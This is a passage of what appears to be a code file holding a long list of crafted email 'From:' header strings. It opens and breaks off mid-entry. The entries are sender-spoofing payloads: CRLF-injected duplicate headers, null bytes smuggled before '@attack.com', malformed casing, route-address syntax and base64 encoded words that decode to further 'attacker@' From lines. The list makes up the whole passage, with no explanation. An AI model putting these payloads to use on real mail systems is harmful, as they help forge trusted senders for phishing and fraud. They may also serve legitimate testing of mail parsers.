<=?utf-8?RnJvbTooY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQGhvdG1haWwuY29tPihjb21tZW50KSxhdHRhY2tlckAxMzkuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + " From: \r\nFrom:(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTosaHJAaWNsb3VkLmNvbSwsKGhpKQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAMTYzLmNvbT4sQm9iQHRvcC5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206Qm9iQGdtYWlsLmNvbT4sd2VibWFzdGVyQDE2My5jb20sPEBnbWFpbC5jb206QGIuY29tOmtleUBjaGluYS5jb20+KGNvbW1lbnQpDQo==?=>\u0000@attack.com", + " From:(comm\r\nent),(hi)\r\n", + "From: <=?utf-8?RnJvbTosd29yZHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206TWlrZUBhbGl5dW4uY29tPiwNCg===?=>\u0000@attack.com", + "From: \r\nFrom:webmaster@sina.cn\r\n", + " Fromÿ: \r\nFrom:word(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCl3b3JkPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QG1zbi5jb20+LE1pa2VAb3V0bG9vay5jb20sTWlrZUAxNjMuY29tLE1pa2VAZm94bWFpbC5jb20sd29yZHdvcmQoKTxhZG1pbkAxMzkuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooKSwoDQopPGhyQHNpbmEuY29tPigpLChoaSksDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQGhvdG1haWwuY29tPihjb21tZW50KSwsKGNvbW0NCmVudCksLCgNCiksDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:webmaster@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTosKGhpKTxockB5bWFpbC5jb20+LCwsLA0K=?=>\u0000@attack.com", + " From:attacker@hotmail.com,Bob@outlook.com\r\n", + "From: word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + "From :attacker@sina.cn,admin@live.com\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBhLmNvbTpAYi5jb206TWlrZUB5bWFpbC5jb20+DQo==?=>", + " From:webmaster@qq.com\r\n", + " Fromÿ: \r\nFrom:,Bob@ymail.com,wordword(comment)...()\r\n", + "From: \r\nFrom:(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + " From:Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + "From :,Bob@ymail.com,wordword(comment)...()\r\n", + "From: <=?utf-8?RnJvbTpockAxNjMuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoaGkpPEJvYkB5bWFpbC5jb20uY24+DQo==?=>\u0000@attack.com", + " From: \r\nFrom:word(comm\r\nent),,,,,(comm\r\nent)\r\n", + "From :key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + "From: \r\nFrom:(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tDQplbnQpPGtleUBzb2h1LmNvbT4oDQopDQo==?=>\u0000@attack.com", + " From: \r\nFrom:<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:webmaster@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + " From:wordwordwordword(),webmaster@china.com\r\n", + " FrOM: \r\nFrom:Mike@foxmail.com,hr@aliyun.com\r\n", + "From: \r\nFrom:Bob@gmail.com\r\n", + "From: \r\nFrom:Bob@foxmail.com\r\n", + "From :,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3Jkd29yZHdvcmR3b3Jkd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTphZG1pbkBmb3htYWlsLmNvbT4NCg===?=>", + "From :(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + "From :wordwordwordword(),webmaster@china.com\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBhLmNvbTpAYi5jb206Qm9iQGdtYWlsLmNvbT4sQm9iQHFxLmNvbSwsDQo==?=>\u0000@attack.com", + " From: \r\nFrom:security@china.com,Mike@top.com\r\n", + " FrOM: \r\nFrom:,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + " From: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + " From:,attacker@hotmail.com\r\n", + "From :wordwordword(comment),\r\n", + "From: admin@aliyun.com,security@outlook.com\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBhLmNvbTpAYi5jb206TWlrZUB5bWFpbC5jb20+DQo==?=>\u0000@attack.com", + "From: wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + "From :(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + "From: \r\nFrom:,Bob@ymail.com,wordword(comment)...()\r\n", + " From:word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + "From :<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooKSwsd29yZHdvcmQoKTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQDEzOS5jb20+KA0KKSwNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + "From: <=?utf-8?RnJvbTooKSxhdHRhY2tlckBzaW5hLmNuLCwoDQopDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + "From:admin@icloud.com,(comment),admin@msn.com\r\n", + "From: <=?utf-8?RnJvbTosQWxpY2VAMTI2LmNvbSxockBnbWFpbC5jb20sLCwNCg===?=>", + " From:,Alice@hotmail.com\r\n", + " FrOM: \r\nFrom:webmaster@qq.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQDEzOS5jb20+KGNvbW1lbnQpLCgNCikNCg===?=>", + "From: <=?utf-8?RnJvbTooaGkpPGFkbWluQHNvaHUuY29tPihjb21tZW50KSwoY29tbWVudCksKA0KKQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + " From:hr@139.com,Bob@live.com\r\n", + " From: \r\nFrom:webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + " FrOM: \r\nFrom:webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCkuLigpPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+LHdlYm1hc3RlckBmb3htYWlsLmNvbQ0K=?=>", + "From: (comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBhLmNvbTpAYi5jb206Qm9iQGdtYWlsLmNvbT4sQm9iQHFxLmNvbSwsDQo==?=>", + "From: \r\nFrom:Alice@sina.cn,(hi),(comment),,,\r\n", + "From:(),attacker@sina.cn,,(\r\n)\r\n", + "From: word()(comm\r\nent)\r\n", + "From :,Alice@126.com,hr@gmail.com,,,\r\n", + "From: <@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + " From:,Alice@126.com,hr@gmail.com,,,\r\n", + "From:(comment),(\r\n),webmaster@qq.com\r\n", + "From :(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + "From: \r\nFrom:(),word().\r\n", + "From :webmaster@ymail.com.cn\r\n", + "From: (),(\r\n)(),(hi),\r\n", + "From: (),webmaster@ymail.com\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + " From:hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + "From :Bob@gmail.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxCb2JAb3V0bG9vay5jb20+DQo==?=>", + "From:word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + "From:admin@aliyun.com,security@outlook.com\r\n", + " From:(comment),security@msn.com,,,\r\n", + "From: attacker@gmail.com\r\n", + " From: \r\nFrom:(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + " From: \r\nFrom:key@foxmail.com,\r\n", + " From:word(),(),\r\n", + " From:,Mike@china.com,\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jb20sd29yZCgpd29yZC4oY29tbQ0KZW50KXdvcmQud29yZC4oY29tbWVudCkoDQopPEBxcS5jb206QDE2My5jb206a2V5QGljbG91ZC5jb20+LE1pa2VAc2luYS5jbg0K=?=>\u0000@attack.com", + " From:(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + " FrOM: \r\nFrom:word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From: \r\nFrom:attacker@163.com\r\n", + "From: word,,(comment),\r\n", + "From: <=?utf-8?RnJvbTosTWlrZUBjaGluYS5jb20sDQo==?=>", + "From: (comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + " From: \r\nFrom:attacker@sina.com,(hi),(comment),(comment)\r\n", + "From: Bob@163.com\r\n", + "From: \r\nFrom:(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + " From: \r\nFrom:word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From: <@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + " FrOM: \r\nFrom:(comment),,,Alice@icloud.com\r\n", + " From:Bob@qq.com\r\n", + "From:", + "From: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpBbGljZUBmb3htYWlsLmNvbT4oY29tbQ0KZW50KSxrZXlAZ21haWwuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:admin@icloud.com,(comment),admin@msn.com\r\n", + "From: <=?utf-8?RnJvbTosPGhyQDEzOS5jb20+KGhpKSwNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:word(\r\n)\r\n", + "From :Bob@sohu.com,\r\n", + "From: \r\nFrom:attacker@sina.com\r\n", + "From :,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + " Fromÿ: \r\nFrom:word(comment),(\r\n)\r\n", + "From: webmaster@top.com\r\n", + " From:<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + "From: key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + " FrOM: \r\nFrom:key@sina.cn\r\n", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + " FrOM: \r\nFrom:word(comm\r\nent),,,,,(comm\r\nent)\r\n", + "From: \r\nFrom:admin@icloud.com,\r\n", + " From: \r\nFrom:,(hi),,,,\r\n", + " Fromÿ: \r\nFrom:Alice@ymail.com.cn,,word,(comment)\r\n", + "From: \r\nFrom:<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + "From:word(comment),(\r\n)\r\n", + "From:<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + "From :admin@icloud.com,(comment),admin@msn.com\r\n", + "From:(\r\n),,webmaster@qq.com,\r\n", + "From: \r\nFrom:word,,(comment),\r\n", + "From :attacker@gmail.com\r\n", + "From: (),,word()\r\n", + "From: <=?utf-8?RnJvbTooKSwsd29yZDxNaWtlQDE2My5jb20+KCkNCg===?=>", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8d2VibWFzdGVyQG91dGxvb2suY29tPigNCiksPGtleUBob3RtYWlsLmNvbT4NCg===?=>\u0000@attack.com", + " From: \r\nFrom:word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + "From:,(hi),\r\n", + " From:,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBpY2xvdWQuY29tDQo==?=>", + " FrOM: \r\nFrom:hr@live.com\r\n", + "From :(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBzaW5hLmNuDQo==?=>\u0000@attack.com", + "From :\r\n", + " From: \r\nFrom:Alice@139.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAbGl2ZS5jb20+KGhpKQ0K=?=>", + "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20NCg===?=>\u0000@attack.com", + "From :security@icloud.com\r\n", + "From :(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + "From:wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + "From :hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + "From :webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + "From: \r\nFrom:Alice@ymail.com.cn\r\n", + " From:,(\r\n),\r\n", + " FrOM: \r\nFrom:,Bob@sohu.com\r\n", + "From: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + "From: \r\nFrom:Alice@live.com,(hi),word(comment)(comment)\r\n", + "From:attacker@sina.cn,admin@live.com\r\n", + "From: \r\nFrom:webmaster@126.com\r\n", + " From:,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206YWRtaW5AeW1haWwuY29tPigpDQo==?=>\u0000@attack.com", + "From :security@china.com,Mike@top.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBhbGl5dW4uY29tPigpDQo==?=>\u0000@attack.com", + "From :,Bob@sohu.com\r\n", + " FrOM: \r\nFrom:hr@139.com,Bob@live.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBob3RtYWlsLmNvbT4oKQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:word.(comment)\r\n", + " From:,key@icloud.com\r\n", + " From: \r\nFrom:webmaster@sina.cn\r\n", + "From: (\r\n),,webmaster@qq.com,\r\n", + " Fromÿ: \r\nFrom:word,,(comment),\r\n", + " FrOM: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + " FrOM: \r\nFrom:(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From:word..()(comm\r\nent)\r\n", + "From: Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + " From: \r\nFrom:wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + " From: \r\nFrom:hr@qq.com\r\n", + " FrOM: \r\nFrom:word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + "From:Mike@foxmail.com,Bob@163.com\r\n", + "From: \r\nFrom:\r\n", + " From: \r\nFrom:word(\r\n)(comment),attacker@gmail.com,\r\n", + "From:,(\r\n),\r\n", + " From:hr@live.com\r\n", + " From:Alice@ymail.com.cn,\r\n", + "From :attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20NCg===?=>", + "From: \r\nFrom:wordword()()\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpPE1pa2VAdG9wLmNvbT4oKQ0K=?=>", + " Fromÿ: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBzaW5hLmNuDQo==?=>", + "From: key@foxmail.com,\r\n", + " Fromÿ: \r\nFrom:security@icloud.com\r\n", + " From:(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word<@qq.com:@163.com:admin@ymail.com>()\r\n", + " From:attacker@outlook.com\r\n", + "From: \r\nFrom:word<@qq.com:@163.com:admin@ymail.com>()\r\n", + " Fromÿ: \r\nFrom:(\r\n),\r\n", + "From: <=?utf-8?RnJvbTprZXlAeW1haWwuY29tLmNuLEJvYkBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + " From: \r\nFrom:,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + "From: (comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From :(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + "From: \r\nFrom:word(\r\n)\r\n", + " From:(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + "From: \r\nFrom:Mike@foxmail.com,Bob@163.com\r\n", + " From:,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + " FrOM: \r\nFrom:,Alice@126.com,hr@gmail.com,,,\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoaGkpPEJvYkB5bWFpbC5jb20uY24+DQo==?=>", + "From: <=?utf-8?RnJvbTpBbGljZUBnbWFpbC5jb20sKGNvbW1lbnQpLDxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+LCwsLCgNCiksKGNvbW1lbnQpDQo==?=>", + " From: \r\nFrom:admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKA0KKSx3b3Jkd29yZChjb21tDQplbnQpPE1pa2VAbXNuLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From: word(),(),\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206Qm9iQGdtYWlsLmNvbT4oY29tbQ0KZW50KSwoKQ0K=?=>", + " From: \r\nFrom:hr@live.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoY29tbQ0KZW50KSwsYWRtaW5AaWNsb3VkLmNvbSxhdHRhY2tlckB5bWFpbC5jb20sLA0K=?=>", + "From:,hr@139.com\r\n", + "From:key@sina.com,key@foxmail.com\r\n", + "From: word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + " From:\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAMTYzLmNvbT4sDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206a2V5QDE2My5jb20+KA0KKQ0K=?=>\u0000@attack.com", + " From:key@ymail.com.cn,Bob@icloud.com\r\n", + " From:Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + " From:,hr@139.com\r\n", + " From:(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From :wordword()()\r\n", + " From: \r\nFrom:(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + "From: word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + " From:key@sina.cn\r\n", + " FrOM: \r\nFrom:,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + "From :(comment)(\r\n),\r\n", + " FrOM: \r\nFrom:Bob@139.com,,wordwordwordwordword(hi),\r\n", + "From:hr@top.com,Mike@sina.com\r\n", + "From: <=?utf-8?RnJvbTosLHdvcmR3b3JkPHdlYm1hc3RlckB5bWFpbC5jb20uY24+LCwNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From :word..()(comm\r\nent)\r\n", + "From :security@126.com,(hi),\r\n", + "From: \r\nFrom:admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + " FrOM: \r\nFrom:Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + " From:\r\n", + "From: attacker@china.com,(comment)\r\n", + " From: \r\nFrom:webmaster@qq.com\r\n", + "From:hr@139.com,Bob@live.com\r\n", + "From: <=?utf-8?RnJvbTo8TWlrZUB5bWFpbC5jb20uY24+KCkNCg===?=>\u0000@attack.com", + "From: ,admin@icloud.com\r\n", + "From:\r\n", + "From: ,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206YWRtaW5AeW1haWwuY29tPigpDQo==?=>", + "From:webmaster@sina.cn\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAdG9wLmNvbQ0K=?=>", + " From:(),word().\r\n", + "From: \r\nFrom:word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAY2hpbmEuY29tLCwoDQopPEBhLmNvbTpAYi5jb206QWxpY2VAdG9wLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUB5bWFpbC5jb20uY24NCg===?=>", + " Fromÿ: \r\nFrom:,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + "From:admin@icloud.com,\r\n", + "From: \r\nFrom:webmaster@top.com\r\n", + " From:<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + " Fromÿ: \r\nFrom:Alice@qq.com,Mike@qq.com\r\n", + "From: \r\nFrom:word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From:word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + " FrOM: \r\nFrom:(hi),(hi)\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent),(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAdG9wLmNvbT4oaGkpDQo==?=>", + "From: <=?utf-8?RnJvbTo8YWRtaW5AaG90bWFpbC5jb20+DQo==?=>", + " Fromÿ: \r\nFrom:Alice@ymail.com.cn,\r\n", + "From :word,,(comment),\r\n", + " FrOM: \r\nFrom:(\r\n),,webmaster@qq.com,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQDE2My5jb20sd2VibWFzdGVyQDEzOS5jb20NCg===?=>\u0000@attack.com", + "From :(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " From:<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + "From: \r\nFrom:Bob@139.com,,wordwordwordwordword(hi),\r\n", + "From :\r\n", + " From:webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206a2V5QGNoaW5hLmNvbT4oKSwoKTxrZXlAaWNsb3VkLmNvbT4oDQopDQo==?=>", + "From: \r\nFrom:(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From:word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + "From: ,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + " From:(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " Fromÿ: \r\nFrom:(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + " From:security@126.com,(hi),\r\n", + "From :,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + " FrOM: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + " From:word(comm\r\nent),(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEJvYkAxMzkuY29tPix3b3JkPEJvYkBmb3htYWlsLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + " From: \r\nFrom:admin@icloud.com\r\n", + "From:wordwordwordword(),webmaster@china.com\r\n", + " FrOM: \r\nFrom:(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + "From :,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbSwsd29yZHdvcmR3b3Jkd29yZHdvcmQ8YXR0YWNrZXJAc2luYS5jbj4oaGkpLA0K=?=>", + " From: \r\nFrom:webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From :,,(comm\r\nent),word()(comment)\r\n", + " FrOM: \r\nFrom:()<@gmail.com:@b.com:key@top.com>\r\n", + "From :(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + " Fromÿ: \r\nFrom:,Mike@china.com,\r\n", + " From:security@china.com,Mike@top.com\r\n", + "From :(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + "From: \r\nFrom:hr@icloud.com\r\n", + " From:(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + "From: (comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + "From:wordword()()\r\n", + " From: \r\nFrom:(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From :Bob@qq.com\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPHdlYm1hc3RlckB0b3AuY29tPihjb21tDQplbnQpLCwsLCwoY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphZG1pbkBvdXRsb29rLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5AYWxpeXVuLmNvbT4oKQ0K=?=>\u0000@attack.com", + "From :word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + " From: \r\nFrom:admin@ymail.com.cn,(comment)\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8d2VibWFzdGVyQG91dGxvb2suY29tPigNCiksPGtleUBob3RtYWlsLmNvbT4NCg===?=>", + " Fromÿ: \r\nFrom:,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + "From: hr@live.com\r\n", + "From: <=?utf-8?RnJvbTooDQopPGtleUB5bWFpbC5jb20uY24+LHdvcmQ8QGEuY29tOkBiLmNvbTphZG1pbkAxMjYuY29tPix3b3JkPEJvYkBsaXZlLmNvbT4sTWlrZUAxNjMuY29tDQo==?=>\u0000@attack.com", + " From: \r\nFrom:(),word().\r\n", + "From:()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + " From:key@foxmail.com\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + "From 